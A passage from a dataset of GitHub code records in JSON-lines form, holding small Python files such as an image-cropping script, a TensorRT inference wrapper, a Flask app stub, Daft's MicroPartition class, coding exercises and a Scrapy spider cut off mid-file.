for j in range(y):\n if binary_image[i][j]==255:\n edges_x.append(i)\n edges_y.append(j)\n \n left=min(edges_x) #左边界\n right=max(edges_x) #右边界\n width=right-left #宽度\n bottom=min(edges_y) #底部\n top=max(edges_y) #顶部\n height=top-bottom #高度\n \n pre1_picture=image[left:left+width,bottom:bottom+height] #图片截取\n pre1_mask = mask[left:left+width,bottom:bottom+height] \n return pre1_picture,pre1_mask #返回图片数据\n \nsource_path='/data/video_img' #图片来源路径\nsave_path='/data/video_img/additional_generate_no' #图片修改后的保存路径\n \nif not os.path.exists(save_path):\n os.mkdir(save_path)\n \nwith open('/data3/Robotic/total.txt','r') as f:\n file_names=f.readlines()\n \nstarttime=datetime.datetime.now()\nfor i in range(len(file_names)):\n source_path = file_names[i].strip('\\n')\n x,y=change_size(source_path) #得到文件名\n cv2.imwrite(source_path+'/raw1'+'.png',x)\n cv2.imwrite(source_path+'/anna1'+'.png',y)\n print(\"裁剪：\",file_names[i])\n print(\"裁剪数量:\",i)\nprint(\"裁剪完毕\")\nendtime = datetime.datetime.now()#记录结束时间\nendtime = (endtime-starttime).seconds\n","repo_name":"overweightbaby/comp2019","sub_path":"data_preparation/reform.py","file_name":"reform.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"30414287090","text":"import sys\n\nsys.path.append('.')\n\nimport evaluation\n\nif __name__ == '__main__':\n\n batch_size = 1024\n\n import argparse\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--debug', action='store_true',\n help='Run in debug mode: Don\\'t evaluate any of the models; print lots of diagnostic messages.')\n\n args = parser.parse_args()\n\n result_dir = 'results/architecture_investigation/'\n report_dir = 'reports/architecture_investigation/'\n\n columns = ['direction', 'size', 'depth', 'property']\n\n evaluation.run_evaluation(result_dir=result_dir, report_dir=report_dir, columns=columns,\n debug=args.debug, snapshot=False, batch_size=batch_size)\n\n","repo_name":"djib2011/forecasting-augmentation","sub_path":"evaluation/architecture_investigation.py","file_name":"architecture_investigation.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8366985224","text":"DEBOUNCING_TIME = 10\n\nEXTENDER_ADDRESS_START: int = 32\n\nINTERRUPT_EXTENDER_MAP: dict = {\n \"Bus0\": 16,\n \"Bus1\": 17,\n \"Bus2\": 22,\n \"Bus3\": 23,\n \"Bus4\": 24,\n \"Bus5\": 25,\n \"Bus6\": 26,\n \"Bus7\": 27\n}\n\nEXTENDER_CHIPS_RESET: int = 18\n\n\nMESSAGING_LED: int = 4\nFAULT_LED: int = 5\nGENERAL_LED: int = 6\n\nINPUT_SWITCH: int = 7\n","repo_name":"OpenA3XX/opena3xx.hardware.controller","sub_path":"opena3xx/models/opena3xx_constants.py","file_name":"opena3xx_constants.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"} +{"seq_id":"29943424045","text":"import cv2\nimport tensorrt as trt\nimport numpy as np\n# import logging\n# from tqdm import tqdm\nimport threading\nimport datetime\nimport time\n\nimport pycuda.driver as cuda\n# import pycuda.autoinit\n\nclass HostDeviceMem(object):\n def __init__(self, host_mem, device_mem):\n self.host = host_mem\n self.device = device_mem\n def __str__(self):\n return \"Host:\\n\" + str(self.host) + \"\\nDevice:\\n\" + str(self.device)\n def __repr__(self):\n return self.__str__()\n\n\ndef preprocessing_person(img_path):\n image = cv2.imread(img_path)\n image = cv2.resize(image, (128, 256), interpolation=cv2.INTER_CUBIC)\n image = image[:,:,::-1]\n ######## image = np.full((256,128,3), 255, dtype=np.uint8)\n #### need CHW (BGR)\n return np.rollaxis(image, 2,0)\n\ndef preprocessing_car(img_path):\n image = cv2.imread(img_path)\n image = cv2.resize(image, (256, 256), interpolation=cv2.INTER_CUBIC)\n image = image[:,:,::-1]\n ######## image = np.full((256,128,3), 255, dtype=np.uint8)\n #### need CHW (BGR)\n return np.rollaxis(image, 2,0)\n\n\nclass FeatureExtractor:\n \n def __init__(self,engine_path,max_batch_size=1):\n ### 多进程初始化方法\n cuda.init()\n self.cfx= cuda.Device(0).make_context()\n \n self.engine_path = engine_path\n self.batch_size = max_batch_size\n self.logger = trt.Logger( trt.Logger.WARNING)\n self.runtime = trt.Runtime(self.logger)\n self.engine = self.load_engine(self.runtime, self.engine_path)\n self.inputs, self.outputs, self.bindings, self.stream = self.allocate_buffers()\n self.context = self.engine.create_execution_context()\n\n self.cfx.pop()\n \n @staticmethod\n def load_engine(trt_runtime, engine_path): \n with open(engine_path, 'rb') as f, trt_runtime:\n return trt_runtime.deserialize_cuda_engine(f.read())\n \n def allocate_buffers(self):\n bindings = []\n stream = cuda.Stream()\n for binding in self.engine:\n size = trt.volume(self.engine.get_binding_shape(binding)) * self.engine.max_batch_size\n dtype = trt.nptype(self.engine.get_binding_dtype(binding))\n host_mem = cuda.pagelocked_empty(size, dtype)\n device_mem = cuda.mem_alloc(host_mem.nbytes)\n bindings.append(int(device_mem))\n # Append to the appropriate list.\n if self.engine.binding_is_input(binding):\n inputs=HostDeviceMem(host_mem, device_mem)\n else:\n outputs=HostDeviceMem(host_mem, device_mem)\n \n return inputs, outputs, bindings, stream\n \n def __call__(self, data:np.ndarray):\n #多进程需要的\n self.cfx.push()\n\n np.copyto(self.inputs.host,data.ravel())\n # Transfer input data to the GPU.\n cuda.memcpy_htod_async(self.inputs.device, self.inputs.host, self.stream)\n # Run inference.\n self.context.execute_async(batch_size=self.batch_size, bindings=self.bindings, stream_handle=self.stream.handle)\n # Transfer predictions back from the GPU.\n cuda.memcpy_dtoh_async(self.outputs.host,self.outputs.device, self.stream)\n # Synchronize the stream\n self.stream.synchronize()\n \n #多进程需要的\n self.cfx.pop()\n # Return only the host outputs.\n return self.outputs.host\n\n\nif __name__ == \"__main__\":\n\n person_engine_path = '/home/xujiahong/trt_engine/fast-reid-fsid/fsid-res50-INT8.engine'\n model = FeatureExtractor(person_engine_path)\n\n name ='/home/xujiahong/NX/ReIDFsid_multithread_v2/persons.jpg'\n img = cv2.imread(name)\n\n def reid_thread(ImgEX, name):\n img = preprocessing_person(name)\n res = ImgEX(img)\n print(res[:5])\n print(\"now: {}\".format(datetime.datetime.now().strftime('%H:%M:%S')))\n time.sleep(3)\n\n for i in range(5):\n t = threading.Thread(target=reid_thread, args=(model, name))\n t.start()\n\n\n\n\n\n\n","repo_name":"JJJHHHX/FastRT_prune","sub_path":"inference_RT_thread.py","file_name":"inference_RT_thread.py","file_ext":"py","file_size_in_byte":4022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13636011899","text":"\"\"\"framework for web app version of dice-cvn game\"\"\"\n\nfrom flask import (Flask,\n render_template,\n redirect,\n url_for,\n )\n\nfrom . forms import (DiceHold,\n DiceHoldWeb,\n )\n\nfrom .. diceroll.dice import (die_roll,\n dice_png,\n )\n\nfrom .. gameprocessing.play_game import (start_game,\n game_status,\n )\nfrom .. scorekeeping.scorepad import Scorepad_\n\n\nfrom .. web.webgame.webgame import webgame_bp\nfrom .. web.temptest.temptest import temptest_bp # Test only - Remove\n\n# Remove after HTML complete\nfrom .. scorekeeping.scoredisplay import show_current_score\n\n\napp = Flask(__name__)\n\napp.config['SECRET_KEY'] = 'toASMuE59soIk7*9jA*F'\n\napp.register_blueprint(webgame_bp, url_prefix='/webgame')\napp.register_blueprint(temptest_bp, url_prefix='/temptest') # Test only - Remove\n\n\n@app.route('/')\ndef index():\n \"\"\"Index page for webgame\"\"\"\n return render_template('index.html')\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"sammyrTX/dice-cvn","sub_path":"pkg/web/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9368378013","text":"class Solution:\n def merge(self, intervals: List[List[int]]) -> List[List[int]]:\n intervals.sort(key=lambda x: x[0])\n st = ed = -1\n res = []\n for s, e in intervals:\n if ed < s:\n if st != -1:\n res.append([st, ed])\n st, ed = s, e\n else:\n ed = max(ed, e)\n if st != -1:\n res.append([st, ed])\n return res\n'''\n创一个上线边界，在循环list的时候挨个比较，下一个数组越过了上一个的上边界就存储，\n没越过就扩展边界，在下一次循环储存\n方法有两个注意点，首先要整理数组，要从小到大排列\n其次是最后一次会没保存，要额外存储一下\n'''","repo_name":"GongQihua/leetcode_practice","sub_path":"Algorithms_medium/56_Merge Intervals.py","file_name":"56_Merge Intervals.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29239354272","text":"from utils import fopen\nfrom collections import Counter\n\ndef points(l, d):\n p1,p2 = l.split('->')\n x1,y1 = map(int, p1.split(','))\n x2,y2 = map(int, p2.split(','))\n if x1 == x2:\n return [(x1, y) for y in range(min(y1,y2),max(y1,y2) + 1)]\n elif y1 == y2:\n return [(x, y1) for x in range(min(x1,x2),max(x1,x2) + 1)]\n elif d:\n dx = 1 if x1 < x2 else -1\n dy = 1 if y1 < y2 else -1\n return [(x1 + (i * dx), y1 + (i * dy)) for i in range(abs(x2 - x1) + 1)]\n return []\n\ndef solve(d=False):\n p = Counter()\n [p.update(points(l, d)) for l in fopen(5).readlines()]\n print(sum(c > 1 for c in p.values()))\n","repo_name":"mrisoli/adventofcode","sub_path":"python/2021/d5.py","file_name":"d5.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"30787718274","text":"from __future__ import annotations\n\nimport logging\nfrom typing import TYPE_CHECKING, Any\n\nimport pyarrow as pa\n\nfrom daft.daft import IOConfig, JoinType\nfrom daft.daft import PyMicroPartition as _PyMicroPartition\nfrom daft.daft import PyTable as _PyTable\nfrom daft.datatype import DataType, TimeUnit\nfrom daft.expressions import Expression, ExpressionsProjection\nfrom daft.logical.schema import Schema\nfrom daft.series import Series\nfrom daft.table import Table\n\nif TYPE_CHECKING:\n import pandas as pd\n\n\n_PANDAS_AVAILABLE = True\ntry:\n import pandas as pd\nexcept ImportError:\n _PANDAS_AVAILABLE = False\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass MicroPartition:\n _micropartition: _PyMicroPartition\n\n def __init__(self) -> None:\n raise NotImplementedError(\"We do not support creating a MicroPartition via __init__ \")\n\n def schema(self) -> Schema:\n return Schema._from_pyschema(self._micropartition.schema())\n\n def column_names(self) -> list[str]:\n return self._micropartition.column_names()\n\n def get_column(self, name: str) -> Series:\n return Series._from_pyseries(self._micropartition.get_column(name))\n\n def size_bytes(self) -> int:\n return self._micropartition.size_bytes()\n\n def __len__(self) -> int:\n return len(self._micropartition)\n\n def __repr__(self) -> str:\n return repr(self._micropartition)\n\n def _repr_html_(self) -> str:\n return self._micropartition._repr_html_()\n\n ###\n # Creation methods\n ###\n\n @staticmethod\n def empty(schema: Schema | None = None) -> MicroPartition:\n pyt = _PyMicroPartition.empty(None) if schema is None else _PyMicroPartition.empty(schema._schema)\n return MicroPartition._from_pymicropartition(pyt)\n\n @staticmethod\n def _from_pytable(pyt: _PyTable) -> MicroPartition:\n assert isinstance(pyt, _PyTable)\n return MicroPartition._from_pymicropartition(_PyMicroPartition.from_tables([pyt]))\n\n @staticmethod\n def _from_pymicropartition(pym: _PyMicroPartition) -> MicroPartition:\n assert isinstance(pym, _PyMicroPartition)\n tab = MicroPartition.__new__(MicroPartition)\n tab._micropartition = pym\n return tab\n\n @staticmethod\n def _from_tables(tables: list[Table]) -> MicroPartition:\n return MicroPartition._from_pymicropartition(_PyMicroPartition.from_tables([t._table for t in tables]))\n\n @staticmethod\n def from_arrow(arrow_table: pa.Table) -> MicroPartition:\n table = Table.from_arrow(arrow_table)\n return MicroPartition._from_tables([table])\n\n @staticmethod\n def from_arrow_record_batches(rbs: list[pa.RecordBatch], arrow_schema: pa.Schema) -> MicroPartition:\n schema = Schema._from_field_name_and_types([(f.name, DataType.from_arrow_type(f.type)) for f in arrow_schema])\n pyt = _PyMicroPartition.from_arrow_record_batches(rbs, schema._schema)\n return MicroPartition._from_pymicropartition(pyt)\n\n @staticmethod\n def from_pandas(pd_df: pd.DataFrame) -> MicroPartition:\n table = Table.from_pandas(pd_df)\n return MicroPartition._from_tables([table])\n\n @staticmethod\n def from_pydict(data: dict) -> MicroPartition:\n table = Table.from_pydict(data)\n return MicroPartition._from_tables([table])\n\n @classmethod\n def concat(cls, to_merge: list[MicroPartition]) -> MicroPartition:\n micropartitions = []\n for t in to_merge:\n if not isinstance(t, MicroPartition):\n raise TypeError(f\"Expected a MicroPartition for concat, got {type(t)}\")\n micropartitions.append(t._micropartition)\n return MicroPartition._from_pymicropartition(_PyMicroPartition.concat(micropartitions))\n\n def slice(self, start: int, end: int) -> MicroPartition:\n if not isinstance(start, int):\n raise TypeError(f\"expected int for start but got {type(start)}\")\n if not isinstance(end, int):\n raise TypeError(f\"expected int for end but got {type(end)}\")\n return MicroPartition._from_pymicropartition(self._micropartition.slice(start, end))\n\n ###\n # Exporting methods\n ###\n\n def to_table(self) -> Table:\n return Table._from_pytable(self._micropartition.to_table())\n\n def to_arrow(self, cast_tensors_to_ray_tensor_dtype: bool = False, convert_large_arrays: bool = False) -> pa.Table:\n return self.to_table().to_arrow(\n cast_tensors_to_ray_tensor_dtype=cast_tensors_to_ray_tensor_dtype, convert_large_arrays=convert_large_arrays\n )\n\n def to_pydict(self) -> dict[str, list]:\n return self.to_table().to_pydict()\n\n def to_pylist(self) -> list[dict[str, Any]]:\n return self.to_table().to_pylist()\n\n def to_pandas(self, schema: Schema | None = None, cast_tensors_to_ray_tensor_dtype: bool = False) -> pd.DataFrame:\n return self.to_table().to_pandas(\n schema=schema, cast_tensors_to_ray_tensor_dtype=cast_tensors_to_ray_tensor_dtype\n )\n\n ###\n # Compute methods (MicroPartition -> MicroPartition)\n ###\n\n def cast_to_schema(self, schema: Schema) -> MicroPartition:\n \"\"\"Casts a MicroPartition into the provided schema\"\"\"\n return MicroPartition._from_pymicropartition(self._micropartition.cast_to_schema(schema._schema))\n\n def eval_expression_list(self, exprs: ExpressionsProjection) -> MicroPartition:\n assert all(isinstance(e, Expression) for e in exprs)\n pyexprs = [e._expr for e in exprs]\n return MicroPartition._from_pymicropartition(self._micropartition.eval_expression_list(pyexprs))\n\n def head(self, num: int) -> MicroPartition:\n return MicroPartition._from_pymicropartition(self._micropartition.head(num))\n\n def take(self, indices: Series) -> MicroPartition:\n assert isinstance(indices, Series)\n return MicroPartition._from_pymicropartition(self._micropartition.take(indices._series))\n\n def filter(self, exprs: ExpressionsProjection) -> MicroPartition:\n assert all(isinstance(e, Expression) for e in exprs)\n pyexprs = [e._expr for e in exprs]\n return MicroPartition._from_pymicropartition(self._micropartition.filter(pyexprs))\n\n def sort(self, sort_keys: ExpressionsProjection, descending: bool | list[bool] | None = None) -> MicroPartition:\n assert all(isinstance(e, Expression) for e in sort_keys)\n pyexprs = [e._expr for e in sort_keys]\n if descending is None:\n descending = [False for _ in pyexprs]\n elif isinstance(descending, bool):\n descending = [descending for _ in pyexprs]\n elif isinstance(descending, list):\n if len(descending) != len(sort_keys):\n raise ValueError(\n f\"Expected length of `descending` to be the same length as `sort_keys` since a list was passed in,\"\n f\"got {len(descending)} instead of {len(sort_keys)}\"\n )\n else:\n raise TypeError(f\"Expected a bool, list[bool] or None for `descending` but got {type(descending)}\")\n return MicroPartition._from_pymicropartition(self._micropartition.sort(pyexprs, descending))\n\n def sample(self, num: int) -> MicroPartition:\n return MicroPartition._from_pymicropartition(self._micropartition.sample(num))\n\n def agg(self, to_agg: list[Expression], group_by: ExpressionsProjection | None = None) -> MicroPartition:\n to_agg_pyexprs = [e._expr for e in to_agg]\n group_by_pyexprs = [e._expr for e in group_by] if group_by is not None else []\n return MicroPartition._from_pymicropartition(self._micropartition.agg(to_agg_pyexprs, group_by_pyexprs))\n\n def quantiles(self, num: int) -> MicroPartition:\n return MicroPartition._from_pymicropartition(self._micropartition.quantiles(num))\n\n def explode(self, columns: ExpressionsProjection) -> MicroPartition:\n \"\"\"NOTE: Expressions here must be Explode expressions (Expression._explode())\"\"\"\n to_explode_pyexprs = [e._expr for e in columns]\n return MicroPartition._from_pymicropartition(self._micropartition.explode(to_explode_pyexprs))\n\n def join(\n self,\n right: MicroPartition,\n left_on: ExpressionsProjection,\n right_on: ExpressionsProjection,\n how: JoinType = JoinType.Inner,\n ) -> MicroPartition:\n if how != JoinType.Inner:\n raise NotImplementedError(\"TODO: [RUST] Implement Other Join types\")\n if len(left_on) != len(right_on):\n raise ValueError(\n f\"Mismatch of number of join keys, left_on: {len(left_on)}, right_on: {len(right_on)}\\nleft_on {left_on}\\nright_on {right_on}\"\n )\n\n if not isinstance(right, MicroPartition):\n raise TypeError(f\"Expected a MicroPartition for `right` in join but got {type(right)}\")\n\n left_exprs = [e._expr for e in left_on]\n right_exprs = [e._expr for e in right_on]\n\n return MicroPartition._from_pymicropartition(\n self._micropartition.join(right._micropartition, left_on=left_exprs, right_on=right_exprs)\n )\n\n def partition_by_hash(self, exprs: ExpressionsProjection, num_partitions: int) -> list[MicroPartition]:\n if not isinstance(num_partitions, int):\n raise TypeError(f\"Expected a num_partitions to be int, got {type(num_partitions)}\")\n\n pyexprs = [e._expr for e in exprs]\n return [\n MicroPartition._from_pymicropartition(t)\n for t in self._micropartition.partition_by_hash(pyexprs, num_partitions)\n ]\n\n def partition_by_range(\n self, partition_keys: ExpressionsProjection, boundaries: Table, descending: list[bool]\n ) -> list[MicroPartition]:\n if not isinstance(boundaries, Table):\n raise TypeError(f\"Expected a Table for `boundaries` in partition_by_range but got {type(boundaries)}\")\n\n exprs = [e._expr for e in partition_keys]\n return [\n MicroPartition._from_pymicropartition(t)\n for t in self._micropartition.partition_by_range(exprs, boundaries._table, descending)\n ]\n\n def partition_by_random(self, num_partitions: int, seed: int) -> list[MicroPartition]:\n if not isinstance(num_partitions, int):\n raise TypeError(f\"Expected a num_partitions to be int, got {type(num_partitions)}\")\n\n if not isinstance(seed, int):\n raise TypeError(f\"Expected a seed to be int, got {type(seed)}\")\n\n return [\n MicroPartition._from_pymicropartition(t)\n for t in self._micropartition.partition_by_random(num_partitions, seed)\n ]\n\n ###\n # Compute methods (MicroPartition -> Series)\n ###\n\n def argsort(self, sort_keys: ExpressionsProjection, descending: bool | list[bool] | None = None) -> Series:\n assert all(isinstance(e, Expression) for e in sort_keys)\n pyexprs = [e._expr for e in sort_keys]\n if descending is None:\n descending = [False for _ in pyexprs]\n elif isinstance(descending, bool):\n descending = [descending for _ in pyexprs]\n elif isinstance(descending, list):\n if len(descending) != len(sort_keys):\n raise ValueError(\n f\"Expected length of `descending` to be the same length as `sort_keys` since a list was passed in,\"\n f\"got {len(descending)} instead of {len(sort_keys)}\"\n )\n else:\n raise TypeError(f\"Expected a bool, list[bool] or None for `descending` but got {type(descending)}\")\n return Series._from_pyseries(self._micropartition.argsort(pyexprs, descending))\n\n def __reduce__(self) -> tuple:\n names = self.column_names()\n return MicroPartition.from_pydict, ({name: self.get_column(name) for name in names},)\n\n @classmethod\n def read_parquet_statistics(\n cls,\n paths: Series | list[str],\n io_config: IOConfig | None = None,\n multithreaded_io: bool | None = None,\n ) -> Table:\n return Table.read_parquet_statistics(paths=paths, io_config=io_config, multithreaded_io=multithreaded_io)\n\n @classmethod\n def read_parquet(\n cls,\n path: str,\n columns: list[str] | None = None,\n start_offset: int | None = None,\n num_rows: int | None = None,\n row_groups: list[int] | None = None,\n io_config: IOConfig | None = None,\n multithreaded_io: bool | None = None,\n coerce_int96_timestamp_unit: TimeUnit = TimeUnit.ns(),\n ) -> MicroPartition:\n return MicroPartition._from_pymicropartition(\n _PyMicroPartition.read_parquet(\n path,\n columns,\n start_offset,\n num_rows,\n row_groups,\n io_config,\n multithreaded_io,\n coerce_int96_timestamp_unit._timeunit,\n )\n )\n\n @classmethod\n def read_parquet_bulk(\n cls,\n paths: list[str],\n columns: list[str] | None = None,\n start_offset: int | None = None,\n num_rows: int | None = None,\n row_groups_per_path: list[list[int]] | None = None,\n io_config: IOConfig | None = None,\n num_parallel_tasks: int | None = 128,\n multithreaded_io: bool | None = None,\n coerce_int96_timestamp_unit: TimeUnit = TimeUnit.ns(),\n ) -> MicroPartition:\n return MicroPartition._from_pymicropartition(\n _PyMicroPartition.read_parquet_bulk(\n paths,\n columns,\n start_offset,\n num_rows,\n row_groups_per_path,\n io_config,\n num_parallel_tasks,\n multithreaded_io,\n coerce_int96_timestamp_unit._timeunit,\n )\n )\n\n @classmethod\n def read_csv(\n cls,\n path: str,\n column_names: list[str] | None = None,\n include_columns: list[str] | None = None,\n num_rows: int | None = None,\n has_header: bool | None = None,\n delimiter: str | None = None,\n io_config: IOConfig | None = None,\n multithreaded_io: bool | None = None,\n schema: Schema | None = None,\n buffer_size: int | None = None,\n chunk_size: int | None = None,\n ) -> MicroPartition:\n return MicroPartition._from_pymicropartition(\n _PyMicroPartition.read_csv(\n uri=path,\n column_names=column_names,\n include_columns=include_columns,\n num_rows=num_rows,\n has_header=has_header,\n delimiter=delimiter,\n io_config=io_config,\n multithreaded_io=multithreaded_io,\n schema=schema._schema if schema is not None else None,\n buffer_size=buffer_size,\n chunk_size=chunk_size,\n )\n )\n","repo_name":"Eventual-Inc/Daft","sub_path":"daft/table/micropartition.py","file_name":"micropartition.py","file_ext":"py","file_size_in_byte":14918,"program_lang":"python","lang":"en","doc_type":"code","stars":926,"dataset":"github-code","pt":"47"} +{"seq_id":"22108901332","text":"this_dict = {\n \"name\": \"Cynthia\",\n \"interests\": [\"swimming\", \"dancing\", \"eating\"], # key must be unique,wrapped btwn \"\"\"\n \"age\": 10,\n \"workdays\": (\"mon\", \"tue\", \"wed\"),\n \"parents\": {\"mother\": \"sarah\"}\n} # unordered collection of items\nprint(type(this_dict))\nprint(this_dict)\n# retrieve name-use square brackets to pass the key\nprint(this_dict[\"name\"])\ncynthia_dict = {\n \"name\": \"Cynthia\",\n \"schools\": {\n \"primary_1\":{\"sch_name\": \"Elgon_Academy\",\n \"population\":{\"boys\": \"300\", \"girls\": \"400\"},\n \"head teacher\":{\"first-name\": \"Eric\", \"second_name\": \"Lema\"}},\n \"primary_2\":{\"sch_name\": \"Simba_Academy\",\n \"population\": {\"boys\": \"900\", \"girls\": \"800\"},\n \"head teacher\": {\"first-name\": \"Mike\", \"second_name\": \"Ouma\"}}\n },\n \"languages\": [\"English\", \"Swahili\"]\n\n}\nprint(cynthia_dict)\nprint(cynthia_dict[\"schools\"][\"primary_1\"][\"head teacher\"])\nmy_list = [1, 2, 3,4 ,5 ,6 ,7 ,8,9]\nlist_b =[] # task 3; create a new list with 1st and last item\nlist_b.append(my_list[0])\nlist_b.append(my_list[-1])\nprint(list_b) #orrr....\nprint(my_list[::8]) #take the first and jump 7 others\n\nmy_list2 =[1023, 43546, 67845, 54767] # finding maximum\nprint(max(my_list2))\ndel my_list2[3] # deleting an item in a list\nprint(my_list2)\n\nx = (1, 2,3, 4, 5, 6, 7,8, 9,10)\nprint(x[0], x[1], x[2], x[3], x[4]) # print into two halves\nprint(x[5], x[6], x[7], x[8], x[9])\n\n # another method by converting first to a string\nfirst_half = (x[0:5])\nsecond_half =(x[6:9])\nfirst_string = str(first_half)\nsecond_string = str(second_half)\nprint(first_string.strip(\"()\"))\nprint(second_string.strip(\"()\"))\nprint(*x, sep=\",\") # just removes the parenthesis\n\n\n\n","repo_name":"Adhiambo-Cynthia/class_exercises","sub_path":"dictionaries.py","file_name":"dictionaries.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"23254736422","text":"'''\n\n'''\nfrom xml.dom.minidom import parse\nimport xml.dom.minidom\n\nimport xml.etree.ElementTree as ET\n# from Class import *\nimport random\nfrom Class.Task import Task\nfrom Class.File import File\nimport copy\n\nKB = 1024\nMB = 1024*KB\nGB = 1024*MB\nTB = 1024*GB\n\nSECONDS = 1\nMINUTES = 60*SECONDS\nHOURS = 60*MINUTES\n\nMINDATA = 0#99\nMAXDATA = 20#1000\n\nMINRUNTIME = 0#999\nMAXRUNTIME = 100#5000\nclass SyntheticGenerator():\n def __init__(self,fileName):\n self.fileName = fileName\n \n def generateSyntheticWorkFlow(self):\n '''\n read testdata \n '''\n \n\n tree = ET.parse('./data_SyntheticWorkflows/'+self.fileName)\n root = tree.getroot()\n\n workFlow = {}\n for job in root.findall('{http://pegasus.isi.edu/schema/DAX}job'):\n files = job.findall('{http://pegasus.isi.edu/schema/DAX}uses')\n mi = 15000 * float(job.get('runtime'))*SECONDS\n randomRuntime = float(job.get('runtime')) #random.randint(MINRUNTIME, MAXRUNTIME) #random.randint(50, 99) if random.random()<0.5 else random.randint(5, 49) \n task = Task(id=int(job.get('id')[2:]), namespace=job.get('namespace'), \n name=job.get('name'), runtime=randomRuntime*SECONDS, MI=mi)\n for file in files:\n randomSize = float(file.get('size'))/GB #random.randint(MINDATA, MAXDATA) # random.randint(10, 20) if random.random()<0.5 else random.randint(1, 9)\n if(file.get('link') == 'output'):\n tout = File(file.get('file'), size = float(randomSize))#float(file.get('size'))/1024**3\n task.addOutput(tout)\n if(file.get('link') == 'input'):\n tin = File(file.get('file'), size = float(randomSize))#float(file.get('size'))/1024**3\n task.addInput(tin)\n workFlow.update({int(job.get('id')[2:]):task})\n \n for child in root.findall('{http://pegasus.isi.edu/schema/DAX}child'):\n parents = child.findall('{http://pegasus.isi.edu/schema/DAX}parent')\n if int(child.get('ref')[2:]) in workFlow: \n child_1 = workFlow[int(child.get('ref')[2:])].inputs\n for parent in parents:\n parent_1 = workFlow[int(parent.get('ref')[2:])].outputs \n for each in iter(parent_1):\n for each1 in iter(child_1):\n if (each.name == each1.name):\n each1.booleaninput = True\n each1.id = int(parent.get('ref')[2:])\n each.booleanoutput = True\n each.id = int(child.get('ref')[2:])\n if each.size != each1.size:\n each.size = each1.size\n\n for each1,each in workFlow.items(): \n while True: #\n i0 = 0\n for i1 in each.inputs: \n if not(i1.booleaninput | i1.booleanoutput):\n each.inputs.remove(i1)\n break\n else:\n i0 += 1\n if i0 == len(each.inputs):\n break\n\n parent_1 = each.inputs \n for i in range(len(parent_1)-1): # \n for j in range(i+1, len(parent_1)):\n if (parent_1[i].name != None) or (parent_1[j].name != None):\n if parent_1[i].id == parent_1[j].id:\n parent_1[j].name = None\n parent_1[j].booleaninput = False\n parent_1[i].size = parent_1[i].size + parent_1[j].size \n\n while True: #\n i0 = 0\n for i1 in each.inputs: \n if not(i1.booleaninput | i1.booleanoutput):\n each.inputs.remove(i1)\n break\n else:\n i0 += 1\n if i0 == len(each.inputs):\n break\n\n while True:\n i0 = 0\n for i1 in each.outputs: \n if not(i1.booleaninput | i1.booleanoutput):\n each.outputs.remove(i1)\n break\n else:\n i0 += 1\n if i0 == len(each.outputs):\n break\n\n child_1 = each.outputs \n for i in range(len(child_1)-1): # \n for j in range(i+1, len(child_1)):\n if (child_1[i].name != None) or (child_1[j].name != None):\n if child_1[i].id == child_1[j].id:\n child_1[j].name = None\n child_1[j].booleanoutput = False\n child_1[i].size = child_1[i].size + child_1[j].size \n\n while True:\n i0 = 0\n for i1 in each.outputs: \n if not(i1.booleaninput | i1.booleanoutput):\n each.outputs.remove(i1)\n break\n else:\n i0 += 1\n if i0 == len(each.outputs):\n break \n for each1,each in workFlow.items(): \n parent_1 = each.inputs # \n for i in range(len(parent_1)):\n child_1 = workFlow[parent_1[i].id].outputs\n boolFlag = True \n for j in range(len(child_1)):\n if each1 == child_1[j].id: #\n boolFlag = False\n break\n if boolFlag:\n strFlag = copy.deepcopy(parent_1[i])\n strFlag.id = each1\n strFlag.booleaninput, strFlag.booleanoutput=strFlag.booleanoutput,strFlag.booleaninput\n workFlow[parent_1[i].id].addOutput(strFlag)\n\n for each1,each in workFlow.items(): \n parent_1 = each.outputs # \n for i in range(len(parent_1)):\n child_1 = workFlow[parent_1[i].id].inputs\n boolFlag = True \n for j in range(len(child_1)):\n if each1 == child_1[j].id: #parent_1[i].id\n boolFlag = False\n break\n if boolFlag:\n strFlag = copy.deepcopy(parent_1[i])\n strFlag.id = each1\n strFlag.booleaninput, strFlag.booleanoutput=strFlag.booleanoutput,strFlag.booleaninput\n workFlow[parent_1[i].id].addInput(strFlag) \n\n return workFlow","repo_name":"zaixing-sun/MSIA_PMWS_HC_Public","sub_path":"Class/SyntheticGenerator.py","file_name":"SyntheticGenerator.py","file_ext":"py","file_size_in_byte":6771,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"30462666745","text":"import datetime\nimport scrapy\nfrom scrapy.http import Request\nfrom selenium import webdriver\nfrom sina import settings\n\nfrom sina.items import SinaItem\n\n\nclass FilmSpider(scrapy.Spider):\n name = \"film_spider\"\n\n def __init__(self):\n self.start_urls = [\"https://ent.sina.com.cn/film/\"]\n self.option = webdriver.ChromeOptions()\n self.option.add_argument(\"no=sandbox\")\n self.option.add_argument(\"--headless\")\n self.option.add_argument(\"--blink-settings=imagesEnabled=false\")\n\n def start_requests(self):\n for url in self.start_urls:\n yield scrapy.Request(url, callback=self.parse)\n\n def parse_time(self, news_time):\n today = datetime.datetime.now()\n # 替换今天字符串\n news_time = news_time.replace(\"今天\", str(today.month) + \"月\" + str(today.day) + \"日 \")\n\n # 替换分钟前关键字\n if \"分钟前\" in news_time:\n mintue = news_time.split(\"分钟前\")[0]\n now = today - 